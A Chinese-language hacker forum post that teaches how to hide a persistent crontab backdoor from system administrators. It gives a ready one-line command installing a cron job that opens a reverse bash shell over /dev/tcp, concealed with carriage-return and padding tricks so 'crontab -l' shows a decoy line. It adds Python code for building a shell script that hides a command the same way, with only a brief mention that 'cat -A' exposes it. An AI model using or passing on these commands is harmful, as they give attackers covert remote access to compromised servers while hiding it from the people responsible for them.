linux-隐藏你的crontab后门(退网)

933 1
HK.JH 2022-2-20 09:37:25 来自手机 | 显示全部楼层 |阅读模式
crontab定时后门
crontab是用来定期执行程序的命令,crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。

注意: 新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行

比如我们通过redis写crontab后,管理员上线 执行 crontab-l 就会查看到我们留下的可疑命令。那么我们如果躲避管理员的查看呢?



其实 crontab-l 是查看保存在这里 /var/spool/cron/crontabs/root文件。路径里的root对应每个用户不同的cron

隐藏crontab命令
我们清除之前的cron, 使用如下命令隐藏你的后门

(crontab-l;printf"*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab forwhoami %100c\n")|crontab -

这时候,管理员 crontab-l ,或者查看记录文件都看不到定时任务了


这个后门还是存在的,应该怎么看到呢?

使用 cat-A xxx 就可以看到隐藏的后门了。


原理
原理就是cat一些比如 \r 回车符 \n 换行符 \f 换页符这些符号导致了隐藏。

这里用python制作一个隐藏的sh。

cmd_h
=

"echo 'You forgot to check `cat -A`!' > oops"

# 隐藏

cmd_v
=

"echo 'You see me!'"
                        
# 显示



with
open
(
"test.sh"
,

"w"
)

as
f
:

    output
=

"#!/bin/sh\n"

    output
+=
cmd_h
+

";"

+
cmd_v
+

" #\r"

+
cmd_v
+

" "

*

(
len
(
cmd_h
)

+

3
)

+

"\n"

    f
.
write
(
output
)

然后用 cat-A查看, cat-A 表示展示所有,等同于 -vET


    这个技巧不单可以用在crontab,根据其他场景也可以使用。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行